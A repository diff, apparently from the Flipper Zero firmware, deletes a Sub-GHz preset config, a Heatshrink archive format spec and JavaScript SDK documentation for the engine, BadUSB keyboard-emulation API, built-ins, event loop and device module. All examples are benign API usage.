Hopper_frequency: 310000000
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
#Custom_preset_name: AM_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
```

View File

@@ -1,19 +0,0 @@
# Heatshrink-compressed Tarball Format {#heatshrink_file_format}
Flipper supports the use of Heatshrink compression library for `.tar` archives. This allows for smaller file sizes and faster OTA updates.
Heatshrink specification does not define a container format for storing compression parameters. This document describes the format used by Flipper to store Heatshrink-compressed data streams.
## Header
Header begins with a magic value, followed by a version number and compression parameters - window size and lookahead size.
Magic value consists of 4 bytes: `0x48 0x53 0x44 0x53` (ASCII "HSDS", HeatShrink DataStream).
Version number is a single byte, currently set to `0x01`.
Window size is a single byte, representing the size of the sliding window used by the compressor. It corresponds to `-w` parameter in Heatshrink CLI.
Lookahead size is a single byte, representing the size of the lookahead buffer used by the compressor. It corresponds to `-l` parameter in Heatshrink CLI.
Total header size is 7 bytes. Header is followed by compressed data.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1005 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 300 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 343 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

View File

@@ -1,16 +0,0 @@
# About the JavaScript engine {#js_about_js_engine}
> Developing applications for Flipper Zero is now much more accessible with the introduction of JavaScript support.
Previously, building an app for Flipper Zero required C/C++ skills, setting up a development environment, and studying the code of existing applications and documentation. While embedded developers are very familiar with all of this, we wanted to make it easier for people from all backgrounds to create apps for Flipper Zero.
Flipper firmware now includes a built-in scripting engine that runs JavaScript, one of the most widely used programming languages. You can create script files, share them with others, and launch them directly from the **Apps/Scripts** menu on your Flipper Zero — no need for compiling on a PC.
JavaScript support is based on the [mJS scripting engine](https://github.com/cesanta/mjs). Originally designed for microcontrollers, mJS makes efficient use of system resources, requiring less than 50k of flash space and 2k of RAM. We've kept the core features of mJS and also added some useful improvements, such as support for compact binary arrays.
> [!note]
> mJS has some limitations compared to JavaScript engines built into modern browsers. For details on capabilities and limitations, refer to the [mJS documentation on GitHub](https://github.com/cesanta/mjs).
JavaScript apps can interact with Flipper Zero's resources, including its GUI, buttons, USB-HID device, GPIO, UART interfaces, and more. Let's go through the steps to create your first JavaScript app for Flipper Zero.
**Next step:** [Your first JavaScript app](#js_your_first_js_app)

View File

@@ -1,202 +0,0 @@
# BadUSB module {#js_badusb}
```js
let badusb = require("badusb");
```
# Methods
## setup()
Start USB HID with optional parameters. Should be called before all other methods.
**Parameters**
Configuration object *(optional)*:
- vid, pid (number): VID and PID values, both are mandatory
- mfrName (string): Manufacturer name (32 ASCII characters max), optional
- prodName (string): Product name (32 ASCII characters max), optional
- layoutPath (string): Path to keyboard layout file, optional
**Examples**
```js
// Start USB HID with default parameters
badusb.setup();
// Start USB HID with custom vid:pid = AAAA:BBBB, manufacturer and product strings not defined
badusb.setup({ vid: 0xAAAA, pid: 0xBBBB });
// Start USB HID with custom vid:pid = AAAA:BBBB, manufacturer string = "Flipper Devices", product string = "Flipper Zero"
badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfrName: "Flipper Devices", prodName: "Flipper Zero" });
```
<br>
## isConnected()
Returns USB connection state.
**Example**
```js
if (badusb.isConnected()) {
// Do something
} else {
// Show an error
}
```
<br>
## press()
Press and release a key.
**Parameters**
Key or modifier name, key code.
See a [list of key names below](#js_badusb_keynames).
**Examples**
```js
badusb.press("a"); // Press "a" key
badusb.press("A"); // SHIFT + "a"
badusb.press("CTRL", "a"); // CTRL + "a"
badusb.press("CTRL", "SHIFT", "ESC"); // CTRL + SHIFT + ESC combo
badusb.press(98); // Press key with HID code (dec) 98 (Numpad 0 / Insert)
badusb.press(0x47); // Press key with HID code (hex) 0x47 (Scroll lock)
```
<br>
## hold()
Hold a key. Up to 5 keys (excluding modifiers) can be held simultaneously.
**Parameters**
Same as `press`.
**Examples**
```js
badusb.hold("a"); // Press and hold "a" key
badusb.hold("CTRL", "v"); // Press and hold CTRL + "v" combo
```
<br>
## release()
Release a previously held key.
**Parameters**
Same as `press`.
Release all keys if called without parameters.
**Examples**
```js
badusb.release(); // Release all keys
badusb.release("a"); // Release "a" key
```
<br>
## print()
Print a string.
**Parameters**
- A string to print
- *(optional)* Delay between key presses
**Examples**
```js
badusb.print("Hello, world!"); // print "Hello, world!"
badusb.print("Hello, world!", 100); // Add 100ms delay between key presses
```
<br>
## println()
Same as `print` but ended with "ENTER" press.
**Parameters**
- A string to print
- *(optional)* Delay between key presses
**Examples**
```js
badusb.println("Hello, world!"); // print "Hello, world!" and press "ENTER"
```
<br>
## altPrint()
Prints a string by Alt+Numpad method - works only on Windows!
**Parameters**
- A string to print
- *(optional)* delay between key presses
**Examples**
```js
badusb.altPrint("Hello, world!"); // print "Hello, world!"
badusb.altPrint("Hello, world!", 100); // Add 100ms delay between key presses
```
<br>
## altPrintln()
Same as `altPrint` but ended with "ENTER" press.
**Parameters**
- A string to print
- *(optional)* delay between key presses
**Examples**
```js
badusb.altPrintln("Hello, world!"); // print "Hello, world!" and press "ENTER"
```
<br>
## quit()
Releases usb, optional, but allows to interchange with usbdisk.
**Examples**
```js
badusb.quit();
usbdisk.start(...)
```
<br>
# Key names list {#js_badusb_keynames}
## Modifier keys
| Name |
| ------------- |
| CTRL |
| SHIFT |
| ALT |
| GUI |
## Special keys
| Name | Notes |
| ------------------ | ---------------- |
| DOWN | Down arrow |
| LEFT | Left arrow |
| RIGHT | Right arrow |
| UP | Up arrow |
| ENTER | |
| DELETE | |
| BACKSPACE | |
| END | |
| HOME | |
| ESC | |
| INSERT | |
| PAGEUP | |
| PAGEDOWN | |
| CAPSLOCK | |
| NUMLOCK | |
| SCROLLLOCK | |
| PRINTSCREEN | |
| PAUSE | Pause/Break key |
| SPACE | |
| TAB | |
| MENU | Context menu key |
| Fx | F1-F24 keys |
| NUMx | NUM0-NUM9 keys |

View File

@@ -1,315 +0,0 @@
# Built-in methods {#js_builtin}
## require()
Load a module plugin.
**Parameters**
- Module name
**Examples**
```js
let serial = require("serial"); // Load "serial" module
```
<br>
## delay()
**Parameters**
- Delay value in ms
**Examples**
```js
delay(500); // Delay for 500ms
```
<br>
## print()
Print a message on a screen console.
**Parameters**
The following argument types are supported:
- String
- Number
- Bool
- undefined
**Examples**
```js
print("string1", "string2", 123);
```
<br>
## Console object
Same as `print`, but output to serial console only, with corresponding log level.
### console.log()
<br>
### console.warn()
<br>
### console.error()
<br>
### console.debug()
<br>
## load()
Runs a JS file and returns value from it.
**Parameters**
- The path to the file
- An optional object to use as the global scope while running this file
**Examples**
```js
load("/ext/apps/Scripts/script.js");
```
<br>
## chr()
Convert an ASCII character number to string.
**Examples**
```js
chr(65); // "A"
```
<br>
## die()
Exit JavaScript with given message.
**Examples**
```js
die("Some error occurred");
```
<br>
## parseInt()
Convert a string to number with an optional base.
**Examples**
```js
parseInt("123"); // 123
parseInt("7b", 16); // 123
```
<br>
## Number object
### Number.toString()
Convert a number to string with an optional base.
**Examples**
```js
let num = 123;
num.toString(); // "123"
num.toString(16); // "0x7b"
```
<br>
## ArrayBuffer object
**Fields**
- byteLength: The length of the buffer in bytes
<br>
### ArrayBuffer.slice()
Creates an `ArrayBuffer` that contains a sub-part of the buffer.
**Parameters**
- The index to start the new buffer at
- An optional non-inclusive index of where to stop the new buffer
**Examples**
```js
Uint8Array([1, 2, 3]).buffer.slice(0, 1) // ArrayBuffer([1])
```
<br>
## DataView objects
Wrappers around `ArrayBuffer` objects, with dedicated types such as:
- `Uint8Array`
- `Int8Array`
- `Uint16Array`
- `Int16Array`
- `Uint32Array`
- `Int32Array`
**Fields**
- byteLength: The length of the buffer in bytes
- length: The length of the buffer in typed elements
- buffer: The underlying `ArrayBuffer`
<br>
## Array object
**Fields**
- length: How many elements there are in the array
<br>
### Array.splice()
Removes elements from the array and returns them in a new array.
**Parameters**
- The index to start taking elements from
- An optional count of how many elements to take
**Examples**
```js
let arr = [1, 2, 3];
arr.splice(1); // [2, 3]
arr; // [1]
```
<br>
### Array.push()
Adds a value to the end of the array.
**Examples**
```js
let arr = [1, 2];
arr.push(3);
arr; // [1, 2, 3]
```
<br>
## String object
**Fields**
- length: How many characters there are in the string
<br>
### String.charCodeAt()
Returns the character code at an index in the string.
**Examples**
```js
"A".charCodeAt(0) // 65
```
<br>
### String.at()
Same as `String.charCodeAt()`.
<br>
### String.indexOf()
Return index of first occurrence of substr within the string or `-1` if not found.
**Parameters**
- Substring to search for
- Optional index to start searching from
**Examples**
```js
"Example".indexOf("amp") // 2
```
<br>
### String.slice()
Return a substring between two indices.
**Parameters**
- The index to start the new string at
- An optional non-inclusive index of where to stop the new string
**Examples**
```js
"Example".slice(2) // "ample"
```
<br>
### String.toUpperCase()
Transforms the string to upper case.
**Examples**
```js
"Example".toUpperCase() // "EXAMPLE"
```
<br>
### String.toLowerCase()
Transforms the string to lower case.
**Examples**
```js
"Example".toLowerCase() // "example"
```
<br>
## __dirname
Path to the directory containing the current script.
**Examples**
```js
print(__dirname); // /ext/apps/Scripts
```
<br>
## __filename
Path to the current script file.
**Examples**
```js
print(__filename); // /ext/apps/Scripts/path.js
```
<br>
# SDK compatibility methods {#js_builtin_sdk_compatibility}
## sdkCompatibilityStatus()
Checks compatibility between the script and the JS SDK that the firmware provides.
**Returns**
- `"compatible"` if the script and the JS SDK are compatible
- `"firmwareTooOld"` if the expected major version is larger than the version of the firmware, or if the expected minor version is larger than the version of the firmware
- `"firmwareTooNew"` if the expected major version is lower than the version of the firmware
**Examples**
```js
sdkCompatibilityStatus(0, 3); // "compatible"
```
<br>
## isSdkCompatible()
Checks compatibility between the script and the JS SDK that the firmware provides in a boolean fashion.
**Examples**
```js
isSdkCompatible(0, 3); // true
```
<br>
## checkSdkCompatibility()
Asks the user whether to continue executing the script if the versions are not compatible. Does nothing if they are.
**Examples**
```js
checkSdkCompatibility(0, 3);
```
<br>
## doesSdkSupport()
Checks whether all of the specified extra features are supported by the interpreter.
**Examples**
```js
doesSdkSupport(["gui-widget"]); // true
```
<br>
## checkSdkFeatures()
Checks whether all of the specified extra features are supported by the interpreter, asking the user if they want to continue running the script if they're not.
**Examples**
```js
checkSdkFeatures(["gui-widget"]);
```

View File

@@ -1,13 +0,0 @@
# Data types {#js_data_types}
Here is a list of common data types used by mJS.
- string — sequence of single byte characters, no UTF8 support
- number
- boolean
- foreign — C function or data pointer
- undefined
- null
- Object — a data structure with named fields
- Array — special type of object, all items have indexes and equal types
- ArrayBuffer — raw data buffer
- DataView — provides interface for accessing ArrayBuffer contents

View File

@@ -1,98 +0,0 @@
# Developing apps using JavaScript SDK {#js_developing_apps_using_js_sdk}
In the [previous guide](#js_your_first_js_app), we learned how to create and run a JavaScript app on Flipper Zero. However, when debugging a script, you often need to repeatedly modify the code and test it on the device. While you can use qFlipper for this, it involves a lot of repetitive steps. Fortunately, there's a more efficient alternative — the Flipper Zero JavaScript SDK, a set of tools that simplify app development in JavaScript.
Main features of the Flipper Zero JavaScript SDK:
* [Loading and running an app with a single command](#js_sdk_run_app)
* [Code completion](#js_sdk_code_completion)
* [JS code minifier (compressor)](#js_sdk_js_minifier)
In this guide, we'll install the JavaScript SDK and learn how to run JavaScript apps on Flipper Zero using it.
## How to get JavaScript SDK
The JavaScript SDK for Flipper Zero is distributed as an [NPM package](npmjs.com/package/\@flipperdevices/fz-sdk), so you can install it using a package manager like npm, pnpm, or yarn. You'll also need Node.js, a JavaScript runtime environment required for the NPM package manager to work.
> [!note]
> In this guide, we'll use **npm**, the default package manager for Node.js.
Follow these steps:
1. Install **Node.js + npm** on your PC. Check out this [official Downloads page](https://nodejs.org/en/download/package-manager), select your OS and preferences, and run the provided commands in your terminal.
2. Open a terminal in the folder where you want to store your project.
3. Run the `npx @flipperdevices/create-fz-app@latest` command to create a JavaScript app template and include the JavaScript SDK into it. This command will launch an interactive wizard. You'll need to specify the project name and choose a package manager (in our case, **npm**).
You'll now find a JavaScript app template in your project folder, alongside the JavaScript SDK package, all necessary dependencies and configs. The app code will be in the `index.ts` file.
Now, let's take a look at the main features of the Flipper Zero JavaScript SDK.
## Running your app {#js_sdk_run_app}
To run the application:
1. Connect your Flipper Zero to your PC via USB.
2. Open a terminal in your app's folder.
3. Run the `npm start` command to copy the JS file to Flipper Zero and run it.
\image html js_sdk_npm_start.jpg width=800
You'll see output messages from the `print()` function in the terminal.
## Updating your app {#js_sdk_update_app}
After making changes to your app's code, simply run `npm start` again. As long as your Flipper Zero is still connected, the updated app will launch, and the old `.js` file on Flipper Zero will be replaced with the new version.
## Other JavaScript SDK features
As you can see, it's quite easy to launch and update your app with a single command. Now let's explore two more important features of the Flipper Zero JavaScript SDK: **code completion** and **JS minifier**.
### Code completion {#js_sdk_code_completion}
Code completion helps speed up the development process by automatically suggesting code as you type, reducing the need to refer to documentation.
\image html js_sdk_code_completion.jpg width=800
> [!note]
> Code completion works in code editors and IDEs that support Language Server, for example, [VS Code](https://code.visualstudio.com/).
### JS minifier {#js_sdk_js_minifier}
The JS minifier reduces the size of JavaScript files by removing unnecessary characters (like spaces, tabs and line breaks) and shortening variable names. This can make your scripts run a bit faster without changing their logic.
However, it has a drawback — it can make debugging harder, as error messages in minified files are harder to read in larger applications. For this reason, it's recommended to disable the JS minifier during debugging and it's disabled by default. To enable it, set the `minify` parameter to `true` in the `fz-sdk.config.json5` file in your app folder. This will minify your JavaScript app before loading it onto Flipper Zero.
## Differences with normal Flipper JavaScript
With the Flipper JavaScript SDK, you will be developing in **TypeScript**. This means that you get a better development experience, with more accurate code completion and warnings when variable types are incompatible, but it also means your code will be different from basic Flipper JS.
Some things to look out for:
- Importing modules:
- Instead of `let module = require("module");`
- You will use `import * as module from "@flipperdevices/fz-sdk/module";`
- Multiple source code files:
- The Flipper JavaScript SDK does not yet support having multiple `.ts` files and importing them
- You can use `load()`, but this will not benefit from TypeScript type checking
- Casting values:
- Some Flipper JavaScript functions will return generic types
- For example `eventLoop.subscribe()` will run your callback with a generic `Item` type
- In some cases you might need to cast these values before using them, you can do this by:
- Inline casting: `<string>item`
- Declare with new type: `let text = item as string;`
When you upload the script to Flipper with `npm start`, it gets transpiled to normal JavaScript and optionally minified (see below). If you're looking to share your script with others, this is what you should give them to run.
## What's next?
You've learned how to run and debug simple JavaScript apps. But how can you access Flipper Zero's hardware from your JS code? For that, you'll need to use JS modules — which we'll cover in the next guide.
**Next step:** [Using JavaScript modules](#js_using_js_modules)

View File

@@ -1,160 +0,0 @@
# Event Loop module {#js_event_loop}
The event loop is central to event-based programming in many frameworks, and our
JS subsystem is no exception. It is a good idea to familiarize yourself with the
event loop first before using any of the advanced modules (e.g. GPIO and GUI).
```js
let eventLoop = require("event_loop");
```
## Conceptualizing the event loop
If you've ever written JavaScript code before, you've definitely seen callbacks. It's
when a function takes another function (usually an anonymous one) as one of
the arguments, which it will call later, e.g. when an event happens or when
data becomes ready:
```js
setTimeout(function() { console.log("Hello, World!") }, 1000);
```
Many JavaScript engines employ a queue from which the runtime fetches events as
they occur, subsequently calling the corresponding callbacks. This is done in a
long-running loop, hence the name "event loop". Here's the pseudocode for a
typical event loop:
\code{.js}
while(loop_is_running()) {
if(event_available_in_queue()) {
let event = fetch_event_from_queue();
let callback = get_callback_associated_with(event);
if(callback)
callback(get_extra_data_for(event));
} else {
// avoid wasting CPU time
sleep_until_any_event_becomes_available();
}
}
\endcode
Most JS runtimes enclose the event loop within themselves, so that most JS
programmers don't even need to be aware of its existence. This is not the
case with our JS subsystem.
---
# Example
This is how one would write something similar to the `setTimeout` example above:
```js
// import module
let eventLoop = require("event_loop");
// create an event source that will fire once 1 second after it has been created
let timer = eventLoop.timer("oneshot", 1000);
// subscribe a callback to the event source
eventLoop.subscribe(timer, function(_subscription, _item, eventLoop) {
print("Hello, World!");
eventLoop.stop();
}, eventLoop); // notice this extra argument. we'll come back to this later
// run the loop until it is stopped
eventLoop.run();
// the previous line will only finish executing once `.stop()` is called, hence
// the following line will execute only after "Hello, World!" is printed
print("Stopped");
```
I promised you that we'll come back to the extra argument after the callback
function. Our JavaScript engine does not support closures (anonymous functions
that access values outside of their arguments), so we ask `subscribe` to pass an
outside value (namely, `eventLoop`) as an argument to the callback so that we
can access it. We can modify this extra state:
```js
// this timer will fire every second
let timer = eventLoop.timer("periodic", 1000);
eventLoop.subscribe(timer, function(_subscription, _item, counter, eventLoop) {
print("Counter is at:", counter);
if(counter === 10)
eventLoop.stop();
// modify the extra arguments that will be passed to us the next time
return [counter + 1, eventLoop];
}, 0, eventLoop);
```
Because we have two extra arguments, if we return anything other than an array
of length 2, the arguments will be kept as-is for the next call.
The first two arguments that get passed to our callback are:
- The subscription manager that lets us `.cancel()` our subscription.
- The event item, used for events that have extra data. Timer events do not,
they just produce `undefined`.
---
# API reference
## run()
Runs the event loop until it is stopped with `stop`.
<br>
## subscribe()
Subscribes a function to an event.
**Parameters**
- `contract`: an event source identifier
- `callback`: the function to call when the event happens
- extra arguments: will be passed as extra arguments to the callback
The callback will be called with at least two arguments, plus however many were
passed as extra arguments to `subscribe`. The first argument is the subscription
manager (the same one that `subscribe` itself returns). The second argument is
the event item for events that produce extra data; the ones that don't set this
to `undefined`. The callback may return an array of the same length as the count
of the extra arguments to modify them for the next time that the event handler
is called. Any other returns values are discarded.
**Returns**
A `SubscriptionManager` object:
- `SubscriptionManager.cancel()`: unsubscribes the callback from the event
**Warning**
Each event source may only have one callback associated with it.
<br>
## stop()
Stops the event loop.
<br>
## timer()
Produces an event source that fires with a constant interval either once or
indefinitely.
**Parameters**
- `mode`: either `"oneshot"` or `"periodic"`
- `interval`: the timeout (for `"oneshot"`) timers or the period (for
`"periodic"` timers)
**Returns**
A `Contract` object, as expected by `subscribe`'s first parameter.
<br>
## queue()
Produces a queue that can be used to exchange messages.
**Parameters**
- `length`: the maximum number of items that the queue may contain
**Returns**
A `Queue` object:
- `Queue.send(message)`:
- `message`: a value of any type that will be placed at the end of the queue
- `input`: a `Contract` (event source) that pops items from the front of the
queue

View File

@@ -1,52 +0,0 @@
# Flipper module {#js_flipper}
The module contains methods and values to query device information and properties. Call the `require` function to load the module before first using its methods:
```js
let flipper = require("flipper");
```
# Values
## firmwareVendor
String representing the firmware installed on the device.
Original firmware reports `"flipperdevices"`.
Do **NOT** use this to check the presence or absence of features, refer to [other ways to check SDK compatibility](#js_builtin_sdk_compatibility).
## jsSdkVersion
Version of the JavaScript SDK.
Do **NOT** use this to check the presence or absence of features, refer to [other ways to check SDK compatibility](#js_builtin_sdk_compatibility).
<br>
---
# Methods
## getModel()
Returns the device model.
**Example**
```js
flipper.getModel(); // "Flipper Zero"
```
<br>
## getName()
Returns the name of the virtual dolphin.
**Example**
```js
flipper.getName(); // "Fur1pp44"
```
<br>
## getBatteryCharge()
Returns the battery charge percentage.
**Example**
```js
flipper.getBatteryCharge(); // 100
```

Some files were not shown because too many files have changed in this diff Show More